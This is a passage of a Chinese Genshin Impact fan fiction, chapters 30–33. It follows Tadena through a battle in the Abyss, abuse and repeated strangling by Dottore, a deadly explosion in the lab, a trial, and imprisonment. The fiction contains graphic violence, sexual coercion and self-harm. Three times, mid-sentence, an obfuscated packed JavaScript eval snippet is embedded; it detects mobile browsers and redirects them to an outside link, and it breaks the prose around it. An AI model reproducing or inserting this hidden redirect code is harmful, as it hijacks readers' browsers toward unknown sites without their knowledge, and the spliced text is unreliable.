我看见一位入伍多年,参加完这次任务就将回老家安养晚年的老兵死前依然保护着另一位在之前的行动里不幸伤到大腿的年轻士兵。 老兵孑然一身,一辈子未曾婚娶,只有年轻时有个亲弟弟,长到那年轻士兵的年龄便不幸夭折了,所以老兵对这位年轻人极好,几乎将他看作家人。 人若是看见太多死亡,便会对生命麻木。 我见过太多悲剧,也见过太多生命溘然长逝,只感觉无力而悲痛。 无论见证过多少次,我都无法习惯,因为生命逝去,尽管他们死去也没有多少人会记得他们,但生命的重要依然存在。 我只是无力改变,于是感觉沉重。 我并不是一个坚强的人,也并不是一个勇敢的人,至于其他的品性,那些被芸芸赞颂的品德,在我的身上似乎都找不到。 我的人生大部分时间都在漫长地求索。 因为知晓自己的懦弱,自己的不堪,所以才会将父亲严苛的训诫牢记在心,所以才会逼迫自己成为一个“谦卑友善”的人,逼迫自己去答应别人的请求。 我看着自己手里那枚发烫的邪眼,红色的宝石如同燃烧的火焰,明亮而滚烫。 我紧紧捏紧,手心因为灼热的温度而被烫出水泡,被强制吸附的火系元素力进入身体,在邪眼的引导下,被自然而然地使用出来。 巨大的火焰化作流弹被发射到周围的魔物身上,那些被击中的魔物发出痛苦的嘶嚎,身体被火焰包裹燃烧。 无数次地吸收元素力,然后引导,使用,身体在高强度的元素力冲刷下感到经脉被钝器不断切割的疼痛,但这样的动作根本不能停下,一旦停止攻击,数量占压倒性优势的魔物就会扑向薄弱的后方。 我专心致志地处理着面前的敌人,几乎没有发现,或者说无暇发现,头顶不知什么时候集结了一群飞行的魔物,领头的是一只体型庞大的飞鸟魔物。 鸟嘴处衔着巨大的能量球,向着我的方向俯冲而来。 我听到声嘶力竭的呼喊。 “塔德纳大人!” “塔德纳大人小心!” 但很快就什么都听不到了,高强度浓缩的能量球撕裂着周围的空气,我只能听到足以震裂耳膜的轰鸣声,以及…… 那瞬间闪至我身前的身影,帽上的铃声。 足以照亮半片天空的紫色雷电将那能量球从中间劈开,超载爆发的爆炸能量发出一片足够烧毁眼角膜的刺眼白光,我甚至能感受到眼球表面瞬间变得干涸,甚至烧焦的感觉。 我闭上双眼,趴在地上,双手扒着巨大的岩石以免自己被炸飞。 疼…… 眼睛疼得要命,连泪水都分泌不出来。 等到好不容易恢复了知觉,耳边嗡鸣的声音消去,我颤巍巍地睁开修复好但还是很疼的眼睛,便看到了一副几乎叫我肝胆欲裂的画面。 如同我在最开始的描述一般,斯卡拉姆奇抗下那骇人的攻势,身上的伤势非常恐怖。 我难以形容人偶此刻的状况,那样严重的伤势令我几乎大脑停转,我无法思考,也无法判断现在的状况。 我唯一能想起来的事情,只是手脚并用地爬到人偶身边,去搀扶那具千疮百孔的身体。 斯卡拉姆奇很生气,但他似乎连生气的表情都很难露出来了,因为脸上全是血。 “你是蠢猪吗?”他骂我,“早就说了让你躲好,刚才那么显眼的攻击,你就非得站在正下面迎接是吧?” 我忍不住地想哭,眼泪啪嗒啪嗒掉在人偶的手背上。 “抱歉,斯卡拉姆奇大人,我……我只是也想帮上点忙。” “……啧,你哭什么哭,有哭的力气不如攒下来逃命。” “抱歉……我眼睛疼,不是故意的……” “啧……” 我看到【女士】走过来,这位同样情况不容乐观的执行官看了我一眼,又看了斯卡拉姆奇一眼。 【女士】说:“现在的情况不容乐观,我们已经顶不住了,只能撤退。” 我问她:“要怎么撤退?” “硬着头皮撤。”【女士】咬了咬牙,她似乎也很犹豫,那双紫色的眼睛里带着几丝细微的恐惧。 “我从未遇到过这样的情况,深渊内的情况非常不对劲,在这里多待一秒,我们的损失就会再大一分。” 我看着那双不断闪烁的紫眸,努力地控制着自己内心的恐慌。 我点了点头。 “我知道了,我现在就去组织剩下的士兵。” 我试图抱着人偶站起来,但没成功,两个人又一起摔在地上。 斯卡拉姆奇更生气了,叫嚣着要我放开他。 【女士】皱眉:“既然受了伤就好好待着,斯卡拉姆奇,现在可没人有心情陪你胡闹。” “哈?你有没有搞错?!到底是谁出力更多,你这个浑身冒火的……” 我一把捂住人偶的嘴,趁着对方还没反应过来一手拨开一个瓷瓶,将瓶口怼进那张嘴里。 “你!呜呜……松……” 人偶徒劳地挣扎两下,然后昏睡过去。 【女士】:“……” 【女士】:“?” 她看向我。 我坦然地接受着这带着三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这……塔德纳大人,我们也只是普通的护卫而已,实在是不知道那位大人心里的意思。但我们接到的指令就是‘不准放无关人员进入’,要不然,您行行好,之后亲自去问问?” 我看到这两个年轻的士兵脸上出现的,带着一丝害怕和讨好的恭敬,突然感到后悔。 我怎么可以因为自己的心情就迁怒到其他人身上…… 这实在是太糟糕了。 我忍不住扶额。 “抱歉……是我刚才语气太冲了。你们只是执行上面下达的命令而已,我不该为难你们两个人的。” “怎么会。”两人脸上都露出受宠若惊的表情。 其中一位士兵露出些许笑容,对我说:“您可是全愚人众最善解人意的上司了,从不会刻意为难别人,对所有人都是一视同仁的看待,还会对有困难的人伸出援手。” 另一个人也附和:“对啊对啊。您可不知道,我们这些人要是能接到您参加的任务,可要高兴好几天呢。” 我打量着这两个人脸上的表情。 都很真诚,不像说谎。 我挤出一个笑容:“是吗?我很高兴能够得到你们这样的评价。” 不。 实际上我现在浑身上下疼得要死,心情也很烦躁,疲惫的身体根本产生不出一丝的喜悦,也无法感知到别人身上散发出来的喜爱。 我听到我的声音维持着和平时别无二致的,略带着温柔和笑意的语调。 “能够帮到你们就好,我以后会继续努力的。” 我拍了拍两人的肩膀。 他们激动地朝我行了个礼。 我突然感到无趣和不断翻涌上来的疲惫。 在敷衍了两人几句后,我找到一个靠墙的角落,确认附近没有人后,从怀里找出止痛的药往嘴里倒了点。 疼痛很快疏解,我感到一阵淡淡的麻木感渐渐弥散身体的每个角落,即使用力掐自己的手也不再会感觉到半点知觉。 我撑着地面靠坐在墙壁上,将自己的大脑放空,努力不让自己去想任何事情,也努力不让自己内心的负面情绪继续翻腾。 31. 第 31 章 不知道过了多久,久到连意识都快因为失温而摇摇欲坠的时候,实验室的门被打开了。 我听到不远处传来有人说话的声音,紧接着是杂乱的脚步声,似乎有人不断进出实验室。 嘈杂的声音渐渐散去,我听到熟悉的脚步声。 高大的影子将我整个包裹住。 我抬头。 是多托雷。 他没有穿那一身配饰众多的夸张衣服,里面是一件简单的深蓝色衬衫,被黑色的束缚带紧紧绑着,外面一身白色的实验服。 那白衣上面沾着星星点点的血迹,有些刺眼。 多托雷依旧带着那尖嘴的面具,将双眼遮得紧紧实实。 他低下头,声音冷漠。 “站起来。” 我摸着墙面将自己冻得冷硬的身体支撑起来,离开地面的一瞬眼前闪过黑幕,头重脚轻。 我缓了缓,才收回手,低头,声音很轻地叫了一声:“主人。” 多托雷没回应,只是丢下一句“跟上来”,然后转进实验室。 我跟着他的脚步,几乎要带上点小跑才能跟上那迈的又大又快的步伐。 我们经过那台实验台,冰冷的,刺眼的灯光照射在人偶的身体上。旁边有一些愚人众的医生,正在将人偶搬运到担架上。 我只来得及匆匆看一眼,确认除了看起来可怕的血迹外,人偶的身体确实已经被修复好,才在心里松了一口气。 距离和多托雷离得稍微远了一点,我跑了两步,跟上多托雷进了最里面的休息室。 休息室似乎和上次进来时并没有太大的差别。 多托雷没开灯,只是将床上的一坨衣服扔到我身上。 “去把自己弄干净。”他说。 这场景实在有点过分眼熟。 我不由得想起被多托雷从黑屋里面放出来的那一天。 于多托雷而言,那初入至冬时发生的小事已经是一件过去五十年的陈年旧事,但对我,似乎一切还犹如昨日,只是稍稍回忆,那日那时的心情,依然分外清晰。 我收拢思绪,应了一声“是”,进了浴室将自己清理干净。 等我出来的时候,外面依旧是一片黑暗,多托雷脱了那件沾血的外套,只穿着里面的衬衫坐在床边。 他看向我,招了招手。 “过来。” 那双破的不成样子的鞋刚才被我扔进垃圾桶了,但我没找到拖鞋,所以现在是光着脚。 我踩在柔软的地毯上,向多托雷走过去,等到了他脚边的地方,再轻轻地跪下。 褪去手套,显得有些冰冷的手指抚上我还带着些热气的脖颈,在颈侧的软肉和那微微凸起的喉结上来回揉捏按压着。 熟悉的触摸让我有些恍惚,仿佛自那次的僭越过去,什么都没有发生改变,而我日夜的检讨和忧思,不过是一厢情愿的胡思乱想而已。 我忍不住微微仰起头,将自己的脖颈送得更近。 多托雷轻笑了一声。 但他并没有阻止我的动作,也没有开口提醒的意思。 他问我,如同无数次平常的工作询问一般。 “我交给你的任务,完成了吗?” 我的大脑还停留在脖子上那存在感过于显眼的抚摸上,一瞬间竟然没有想起多托雷说的“任务”到底是什么。 我沉默了片刻,才从记忆深处翻出多托雷扔给我实验记录的那件事,又想起在深渊里每天忙着打魔物和组织物资安排,伤员安置,忙得根本没时间坐下,更遑论那本实验记录的事。 甚至那本记录本,似乎都被我一直压在行李底下,撤退的时候被丢弃了。 于是我犹豫了一会儿,才回答:“……忘记了……” 脖颈上的手稍微一顿。 “那东西呢?” 我不禁汗流浃背。 “被,被忘记带回来了。” 多托雷又笑了一声。 和刚才不同,感觉是被气笑的。 他掐着我的脖子将我拽地半起,我顺着他的力道半直着身子送上去,最终维持在一个半跪不跪,半起不起的别扭样子。 这副样子实在是难以用力,我又不敢撑在多托雷腿上,只能用力尽量维持平衡,身体不停地颤抖着。 多托雷沉默了一段时间,似乎是在欣赏我这副隐忍着维持身体弧度的样子。 过了很久,他才发出一声近乎叹息的喟叹。 “塔德纳,你总是会做出一些让人扫兴的事情,哦……不对,”他像是突然想起了什么,语气稍沉,“是扫我的兴来着。不论是这次,还是上一次。” 我身体僵硬。 这家伙,果然还对之前那件事耿耿于怀。 多托雷的声音还在继续。 “你总是格外僭越,也格外不听话,难以管教……我对你已是足够地有耐心,只可惜,你总是在违逆我。” 我感受到环绕着脖子的手掌在不断收紧,那久违的熟悉的窒息感让我感到头皮发麻。 但我不敢挣扎。 我很清楚多托雷是个格外“记仇”的家伙,挣扎只会刺激他的怒火,甚至激起他的施暴欲。 于是我只能尽量仰着头去呼吸,眼眶里蓄满了泪水。 “……主人,我错了,呜……”我痛苦地从缝隙里挤出声音。 多托雷仿佛没有听到我的哀求般,手掌更加用力,直捏得那颈骨发出不堪重负的咔咔声。 “听说,斯卡拉姆奇为了救你,才受了那么严重的伤?”他问。 “呜……是……” 多托雷发出一声嗤笑。 “多么令人感动啊,只是因为那样一句喝醉了没由头的话,竟然能让一个没有心的人偶甘愿替你挡下致命的危险。实在是……实在是感人肺腑,不是吗?” 笑意消失,他的声音又骤然变得冰冷。 “你这家伙,还真是,久违地让我感觉有些恶心。” “呜……” 我痛苦地呜咽着,几乎已经听不清楚多托雷在说什么了,只能听到自己脖子骨头在咔咔碎裂的声音,但很快,那足以瞬间杀死一个人的伤又被身体里的力量修复。 无数次的断裂,修复。 我仿佛是一个破布娃娃,头被不断扯断又缝上,无论是那一瞬间无限接近死亡的感觉,还是颈骨快速弥合生长的过程,骨头像是被一只大手不断拉扯着,疼得要命。 恍惚之间,我好像回到了目睹索赫蕾被青年杀死的那晚。 我被拽着小腿拉回去的时候,那双手掐我的力道也与此刻别无二致。 身体纵使无法死去,但精神在一遍又一遍地感受着最真切的“死亡”。 这太痛苦了…… 意识不断沉浮,我的内心告诉我,如果再不做出什么努力的话,会彻底“死掉的”! 不是□□,而是指精神。 我颤抖着伸手去捶打那只用力到青筋暴起的手。 但根本毫无作用,这样的挣扎,对多托雷而言如同压制一只猫咪的抵抗一样简单。 恍惚之中,我听到多托雷冰冷的话语。 “我暂时对这场驯服游戏失去兴趣了。既然如此的话,你也就没有必要再拥有自己的理智了,就这样在我身边当一条无知无觉的狗或许是更合理的决定。” “放心,我综合了多方面的考量。使用药物的原理是用药物里的毒性破坏脑部神经,对你的情况或许并不适用,更不用谈‘额叶切除手术’这样的方法。如此,就只能通过最原始的方法。虽然过于简单粗暴,但通过无数次的‘死亡’来杀死你的精神,是我能想到的最稳妥的方法。” 不…… 我的生命,不该归于如此…… …… 生命,要如何继续下去? 这是一个终生的课题,无论是刚刚出生的婴儿,还是耄耋之年的老年,都要在还在生活的时候思考至少一次这个问题。 生命,要以何种形式,以何种结局,继续下去? 人的答案或许会有改变,但毫无疑问的是,这是一个并没有固定回答的问题,只要你的内心发出了声音,无论是在年轻力壮的时候,还是垂垂老矣将要死去的临终之刻。 只要答案出现在你的内心。 那么,你就能顺着这条道,完成你的“目标”。 无论你面对的是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875977|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样险而无生的困境,无论你面对的,究竟是怎样可怕而强大的敌人。 被我事先藏在袖子里的那枚邪眼顺着低垂在地面的那只手臂滑落到手心,下一刻,足以将整个暗室瞬间完全吞没的火焰冲天而起。 我听到多托雷惊讶而愤怒的声音,趁着那死死掐在我脖子上的手稍有松懈,我拽着他的手腕,膝盖弯起将他压倒在全是火焰的床上。 火舌舔舐上皮肤,无论是我的,还是多托雷的。 邪眼的火焰几乎难以抵抗,不过是这么短的时间,皮肤便被烧得裂开,我身上的皮肤一遍又一遍地被烧毁再复生。而多托雷的情况也好不了多少,他身上的皮肤被烧掉后,露出下面特殊材质的机械构造。 那机械的构造几乎覆盖全身,我从未见过多托雷这副样子,一时间有些怔愣,下意识地撑起自己的身子想要离开多托雷。 但只是刚刚跳离床面,便有两对海蛇般粗壮灵活的机械手臂从多托雷的身体里伸出,牢牢地夹住我的双手双脚,将我固定在火焰里。 多托雷的笑容恐怖,面具早就被烧毁,那对猩红色的双眼含着十足的杀意包裹住我。 “好,好极了。我倒不知道你还有这样的胆量,用我给你的邪眼来杀我。” 那只狰狞恐怖的机械结构的手向我手掌里的邪眼探去,似乎是要直接抢夺走这枚邪眼。 多托雷今天似乎没有随身携带邪眼,而他所进行的身体改造,虽然能够赋予他力量和免于被火焰烧死的威胁,但想要熄灭这火焰,暂时也是办不到的。 我摇了摇头。 即使此刻身体仍在不断被烧灼,即使此刻被多托雷控制着,我的内心却仿佛突然安静了下来。 我说:“不是要杀您,主人,我只是想活下来,作为‘塔德纳’,作为一个鲜活的个体,生活在您的身边。” 多托雷的手一顿。 我趁着这个间隙,催发邪眼的力量将其中一条机械臂烧断,然后狠狠地将邪眼塞进自己的喉咙。尖锐的外壳抵着柔软的喉管,被手指的力量强硬地推下去,直到喉管撕裂,那邪眼也滑落下去。 多托雷气笑了,伸手把我塞进喉咙深处的手扯出来,力气大到瞬间捏断我的手骨。 他阴恻恻地道:“这就是你说的‘只是想活下来’?” 我声音嘶哑:“我从未想过要脱离您的身边,也从未想过要主动背叛您,无论是在须弥的过去,还是如今,无数个待在您身边的日夜。” 多托雷冷笑:“哦?塔德纳,你似乎有点健忘,或许我该提醒你,在活力之家,你刺向我胸膛的那一刀。” “抱歉……我只是,无法拒绝别人的请求。我无法否认,我是个懦弱可悲的混蛋,内心还怀揣着那些许根本见不得人的虚伪的善意……我只是,我只是不知道该如何做,我从很小的时候就信奉受到的那一套教育理念,无法抛却善意,也无法改变自己的卑劣。” 我牵引着那只用力捏着我的手,侧脸亲吻着那被火焰灼烧得发烫的机械表面。 “主人,求您,求您教我,我会变成您最喜欢的狗的。” 多托雷只是看着我,如同冰冷无情的机器一样,似乎没有受到丝毫的触动。 那只坚硬的机械手松开我的手,滑过那紫痕遍布的脖颈,继续往下,落在那裸露的胃部上的皮肤上。 他用力一推,里面似乎还能感受到那尖锐的形状。 我痛苦地哼了一声。 “谎话连篇的家伙。”他说。 我身体一僵。 “不过我愿意再给你一次机会,塔德纳。”那只手按压着胸膛下方一点的部位,我感到有些反胃。 “就让我看看吧,这枚邪眼在你手上能发挥出的最大实力。能让我满意的话,我就当作所有的事情都没发生过。如何?划算的买卖。” 那对猩红色的眼睛紧盯着我。 我感到一阵头晕目眩。 “是,主人。” 胃部的邪眼温度滚烫,如同吞下了一颗持续燃烧的煤球一般。 我强忍着不适,以最大的功率驱动邪眼的力量。 爆炸的光芒如同平地的白日一般,将整个实验室吞噬。 32. 第 32 章 “在高洁的冰之女皇阶下,我们相聚于此,一起裁决塔德纳所犯下的罪行。” “副官塔德纳,于昨日故意引爆邪眼毁坏实验室一座,造成十人死亡,重伤五十二人,致轻伤者人数逾百。并涉嫌谋杀执行官未遂,情节恶劣。” “经全体执行官共同商议决定,暂时褫夺塔德纳副官的身份,判处监禁一百年。依照相关处罚规定以及实际情况,塔德纳受罚期间由二席【博士】监管。” “诸位,可有异议?” 火之魔女出声。 “我有疑问。为何执行监管的人是【博士】?他并非掌管此方权力之人,又与塔德纳关系匪浅。交由他,又如何能确定不会有规矩容忍范围之外的事情发生?” “呵呵,真有意思。你在怀疑我会放水?” “相反,我怕你公报私仇。以你的道德底线,完全会做出这样的事,不是吗?” 带着鸟嘴面具的怪人摊手,回答:“这是恶意的揣度。我向来尊重愚人众的规定,并不会明目张胆地做出这种违反规定的事情。” “争吵到此为止。”首位上威严的声音再次响起。 “罗莎琳,你的质询不无道理。但多托雷是此次事件的‘受害人’,依照愚人众内部的处罚规定,执行官拥有对麾下处罚的干涉权。多托雷没有在处罚决定上包庇和故意报复塔德纳,只是希望能亲自执行对塔德纳的处罚。这是合理的诉求。” “但这并不能保证某人会不会在正常的处罚外做出额外的事情。” “这并不能决定‘多托雷是否有资格执行这次处罚’这件事。况且,意图杀害执行官,残害那么多条生命,这样的罪名,若无【博士】的担保,最终的处罚不会如此轻巧。” “若塔德纳真的因此遭受到更严酷的处罚,那也是他本该受的。” 火之魔女悻悻退回。 精明且冷酷的市长站出来。 “我对处罚的内容没有意见,只是想询问,这位副官造成的建筑损失和恐慌,似乎还没有计算。无论是重建爆炸中心的费用,还是安抚至冬市民的人心,其中都需要消耗数量巨大的人力,财力。这样巨大的损失,这位副官又将如何偿还呢?” “你有何想法?” “我当然知道想要让一介囚犯偿还重建的巨款实在是过于不求实际。但是,如今市民对造成爆炸和大量愚人众士兵死亡和受伤的罪魁祸首十分关注。他们无法容忍这样的危险分子继续留在至冬,甚至在谋害了那么多生命后,依然心安理得地生活着……” 有人发出一声冷笑。 “看来市长大人是想要一条命啊。” 狡诈之人颔首。 “若非【博士】拒绝了对‘谋杀执行官’这一罪名的控诉,这就是本该进行的处罚。也是最合理的处罚。” “但没有‘若非’。【公鸡】。” “即使知晓你的为人,但你现在的这副样子,就连我也没法相信你不会偏袒那位副官呢,【博士】。” 那晃动着手中试管的人轻笑一声。 “人们总是会被事物的表面所欺骗,但在完全触碰到真实之前,又有谁能够知道其下掩藏的,是一颗柔软的心,还是沾满剧毒的心?” “既然没有更有力的呈诉,对塔德纳的处罚将保持不变。此次结果将上呈给女皇陛下,并对外公布。” “会议结束,散会吧。” 众人纷纷离去,【女士】稍微落后两步,在多托雷出门的时候叫住了他。 “你到底对塔德纳又做了什么?” “这样的控诉毫无理由。” “不要装傻,你知道我在问什么。” 【女士】皱眉,语气也变得不太友好。 “我与塔德纳前脚刚从深渊分别,后脚就发生了这样的事情,要说没有你从中作祟,我实在不信。” “就不能是塔德纳真的恶向胆边生,想要通过引爆邪眼杀了我,却没有想到会造成那么严重的后果,反而杀害了那么多的无辜之人。” “他并非那样的人。” “呵呵,看来你自认对我副官的了解,比我还要清晰啊。” 多托雷笑起来,连耳边那蓝色的耳饰都笑得轻颤起来。 “只可惜,恐怕要让你失望了。无论是试图谋杀执行官,还是杀害了当时还在实验室的那些人,这些事情,可都是证据确凿,绝无做手脚的可能。” 多托雷的语气里带着明显的愉悦:“你大可不必对我怀有如此恶意的揣度,若是不相信的话,你也可以去找找主动投案自首的塔德纳询问,想必他的答案,一定能让你满意。” …… 我不知道外面过去了多久,只知道自从那场爆炸之后,我强撑着身体走出来,发现被炸得只剩下满地焦黑的断壁残垣,以及,耳边传来的,哭泣声。 邪眼被完全释放的力量超出了我的预期,甚至我觉得就算是多托雷,可能也没想过我能够仅凭借这一枚还在实验初期的实验品引发如此巨大的破坏。 没有撤离的实验人员是离爆炸中心最近的一批人,他们甚至连尸骸都没能留下,就化作飞灰消弭在这场爆炸中。 这其中,也包括那两位与我交谈过的,在门外守岗的那两名愚人众士兵。 至于离得再远一点的,哭泣的声音便来自那些人。 狼狈的,恐惧的,痛苦的哀嚎和哭喊。 如同一片炼狱。 我扶着被炸得只剩下一半的石柱,大脑一片空白。 这些人…… 还有那些死去的人…… 是因为我…… 但是,我明明最开始只是为了活下来…… 为了在多托雷手下活下来…… 脑袋里响起尖锐的鸣声。 不……我在推卸自己的责任吗? 这不好……这不是应该做的事情…… 或许从最开始我就不应该反抗多托雷……不,应该是从上一次就不该让自己喝醉…… 不,若是我再听话一点,或许就不会发生这样的事情…… 是错误的…… 错误的…… 错误的! 我再也受不了大脑深处传来的剧痛,膝盖摔倒在尖锐的砾石上,皮肤瞬间被划破,鲜血涌了出来,但很快又被修复。 蜷缩颤抖的身体被一具坚硬且冰冷的机械怀抱起来。 熟悉的气息洒在耳廓上,温柔地如同蜜糖一般。 “实在是让我惊喜,塔德纳,你竟然能够做到这种地步……那枚邪眼在你手里发挥出了远超极限的强大力量,就连我的这具躯体,似乎都要在那样的高温下被融化掉了。” 清晰地连关节之间的机械结构都一览无余的手抚摸着我的脸庞,我想要挣开多托雷,却被反剪着双手压到柱子上。 脸颊贴上那冷冰冰的柱子表面,我的意识稍微清晰了一点。 我挣扎:“放……放开我。” 下一刻,柔软但冰冷的舌头卷上我的耳垂,湿润且陌生的触感让我一下子丧失了力气,我瘫软的身体贴着柱面,眼前蒙上一层眼泪。 “呜……” “安静点,塔德纳。”多托雷的声音在耳边低沉地响起,笑意十足。 他将我压得与柱面贴得更近,我的身体与背后那具机械的身体几乎严丝合缝,恍惚之中,我感到有一处坚硬抵着我的尾椎骨。 我身体一僵。 似乎是察觉到了我身体上的变化,多托雷将我反剪在背后的手用力地往下拽了一拽,我的手被迫接触到那熟悉且可怕的□□。 多托雷笑了一声,牙齿咬着我后颈那块软肉又咬又磨。 他暗示意味十足地威胁着:“除非你想在这里,被我用这个样子干。” 我不敢动了,任由多托雷在我身上肆虐着。 我难以想象多托雷是怎么在刚经历了一场差点被杀死的爆炸后还能对“罪魁祸首”起欲望的。 但我不敢反抗。 耳边的哭声和哀嚎声几乎从未停止过,我忍耐着多托雷动作粗暴的啃咬,实在忍不住了,喉咙里泄出几丝断断续续的呜咽声。 我想要离开这里,不想再听到这些罪孽的余响,更不想待在这个无时不刻不在提醒着我干了什么的地方。 我祈求多托雷:“我不想在这里,呜……换个地方。” 回应我的是耳垂上多托雷更用力的舔舐。 我忍不住喘出声,身体痉挛了一下,有些失神。 被按压地更用力,多托雷的声音充满了恶意。 “为什么?你在逃避?哦,你可能不太清楚,需要我提醒一下有多少人因为这场爆炸死去吗?我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我没有办法将这样的罪孽一笔带过,即使这并不是我故意为之的结果。 我迈出第一步。 背后,多托雷的声音很轻,仿佛随时会消散在至冬的冷风里一样。 他说:“塔德纳,我果然最讨厌你这种‘无论做什么都能最先舍弃我’的态度。你和那群骂我‘疯子’,‘怪物’的家伙没什么两样。” 我抿了抿唇。 “我……我其实不讨厌和你做那些事情。”我说。 “还有,其实收到那枚邪眼的时候,我很高兴。” “如果我真的被判了死罪的话,你可以把我的大脑拿出来制成样本……如果你还愿意看到我的话……” 我几乎是强忍着羞耻说完了这些话。 不敢去看多托雷的反应,我小跑着快速离开了这里。 我找到了赶来排查爆炸原因的士兵和负责人员,并向他们主动承认了自己的罪行。 不出所料,我被关押起来,双手和双脚都带上重重的镣铐,关在简陋的牢房里等待判决。 我见到了很多人,有眼熟的,也有完全陌生的,大部分人都对我犯下这么大的罪这件事感到难以置信。 他们也如同那两位守卫着实验室大门的士兵一样,被我平日的样貌所蒙骗。 他们并不知晓,那饱受欢迎的伪装下隐藏的是怎样一颗卑劣的心脏。 还有一些人坚信我是受到了什么冤屈,向我保证绝对会调查清楚爆炸的原因,绝对不会冤枉我。 我只感到无力。 我很清楚,一旦他们发现真相确实就是我做了那些惨绝人寰的事情,就会用一种承载着不解和厌恶的眼神压向我。 “原来你是这种人……” “枉费我那么信任你,还忙了那么久想帮你脱罪……” “平时那样原来只是装的吗……” 光是想想这样的可能就让我生无所望。 在自首之后的第十个小时,我遇到了【丑角】。 这位统括官对我既没有关心,也没有厌恶。 他只是面无表情地看向我,一如初次见到我的模样。 “塔德纳。”他说,“多托雷为你做了担保,你不用死了。” 我无力地跪倒在地上,镣铐相撞发出一阵嘈杂的声音。 33. 第 33 章 一百年的时光究竟有多长? 一百年,是凡人一生都难以触及的时间跨度。 我被关在这监牢之中,每日所做的事情不过是起床,发呆,在规定的时刻前往忏悔室忏悔自己的罪责,然后再回到自己的这一方空间,将剩下的时间荒废过去。 监牢之中还关押着其他的犯人,大多数都是犯了极大的罪行,要在这里赔上自己的一辈子,或者关押一段时间便被押向刑场。 我每隔几天都能遇见被行刑人员押送着的满脸死气的犯人。 我几乎不与外人交流,甚至不会去食堂吃饭,毕竟“进食”对我而言已经是相当久远的事情了。 这里的犯人随着时间流逝,面孔换了一波又一波,往往还没等我记清楚上一批的人的名字,便又换上了新的一批人。 我靠这样的变化勉强判断着自己在监牢度过的时间。 一百年实在是过于漫长。 漫长到甚至难以用“天数”来衡量。我更偏向于用每一个完整生命的消失来衡量这段时间。 在这样日复一日的无聊生活中,我靠着无意义的发呆消磨过去了大部分自己的生命。 但偶尔,或者说经常,我依然会感到精神上的无聊和空虚。 我觉得我似乎缺少了什么东西。 但我此刻身处监牢之中,是一位被判处了一百年刑期的重刑犯。 我有什么东西可以缺少的呢? 我思考着这个问题,思考了一个月的时间。 最后,我终于想起来自己缺少什么东西了。 多托雷从未来看过我。 自从被关押进来后,我就再也没见过多托雷。即使我名义上的罪罚宣判似乎是交由多托雷来负责监管的,但他似乎只是把我放在这里,额外提供了单间宿舍,让我免于和其他人一起居住的不便,以及免去了我强制劳动的义务。 我原本以为多托雷留我一命还去要来了对我的监管权,是要更加严酷地报复我。 但事实似乎与此相反。 于是自那很长的一段时间之后,我陷入了精神的恐慌之中。 在恐慌什么呢? 恐慌多托雷的所作所为的深意?还是…… 恐慌自己有可能真的被多托雷就此抛弃了? 不。 这太可笑了。也太荒谬。 在被监禁的第十年,我找到了监管人员,要求他们给我一些可供观看的书籍。 监管人员看了我一眼。 这里的犯人换了一波又一波,监管人员同样也换了一波又一波。 他认不出我是谁。 当年那件让我备受指责和控诉的爆炸案早已经随着时间的流逝被掩埋了,如今的我只是被当作一个不知道犯了什么事一直出不去但是上面特别交代过要关注一下的“普通囚犯”。 于是我得到了一本至冬儿童开蒙识字读本。 好吧,偶尔研究一下教育学的相关实例也不错。 幼儿开蒙好啊,儿童是国家初升的太阳,是未来的中流砥柱。 最中间夹了一副不知道从哪里撕下来被塞进去的不堪入目之图。 草了,还是三个男的一起。 眼睛瞎了。 我平静地关上这本“内藏乾坤”的神奇之书,委婉地询问监管人员有没有其他可以看的东西。 监管人员把从罪犯里面收缴上来的书搬到我面前。 满满一箱。 他说:“你随便挑吧,反正放那也没什么用。” 我道了一声谢,蹲着将书箱里面的书籍翻了一遍。 《妙手空空:盗宝技巧一百条》 《开锁的一百种姿势》 《精通窃听,从入门到入狱》 《房中一百零八式》 …… 等等,最后一本是什么鬼? 果然,能进这里面的人果然一个个都是人才,没一个是白被关进来的。 虽然都很奇怪,几乎没有一本正经的书,但我还是看完了。 至于最后那一本…… 我劝说了自己很久,思前想后,犹豫了大半个月才劝服自己不能怀着有色眼镜去看一本书。 那只是一本书而已! 每一本书都是作者的思想与智慧结晶,都应该被尊敬。没有污秽的书,只有污秽的读者…… 看了一眼。 …… 是我太天真了。 这样新奇而奇怪的读书经历在我过去的人生当中几乎是从来不存在的。 我幼年时期便被要求专心钻研学术,每日所读书籍也不过是那些既正经又古板,读起来明明每个字都认识但组合起来就云里雾里的大部头。 彼时的我也不知道自己在读什么。 但没人会思考“这么复杂的专业书籍对一个年幼的孩童而言是否能够理解”这件事。 他们希望我能够成为一名天才学者。 可惜我只是一块朽木。不可能开花的那种。 我永远不可能成为像多托雷那样的天才,也做不出什么学术上的成就。 这一点,随着年岁增大,变得愈发明显。 我从没有机会接触这种被父母称作“杂书”的东西,更别提像如今这般细细钻研。 就算是离开了父母的桎梏,我买的最无关紧要的书也只是那本在稻妻随手买下的杂谈。 就连那本杂谈其实我本人也没翻过两页。后来便顺手送给当时的倾奇者了。 至于那本书。 我想起倾奇者,想起斯卡拉姆奇,觉得应该是被销毁了吧。 好久没见到斯卡拉姆奇了,不知道那位人偶如今怎样。 哦,对了,还有【女士】。 他俩都是脱离了寿命限制的存在,或许等到我出去的时候,还能见到他们。 第二年,在我把那一箱子书每本都看了不下快五十遍的时候,监管人员给我送来了新书。 《机械精通》 《元素力解析》 《元素量子学说及空洞理论》 《第八种元素:探求七元素外的世界》 《神之眼考据》 …… 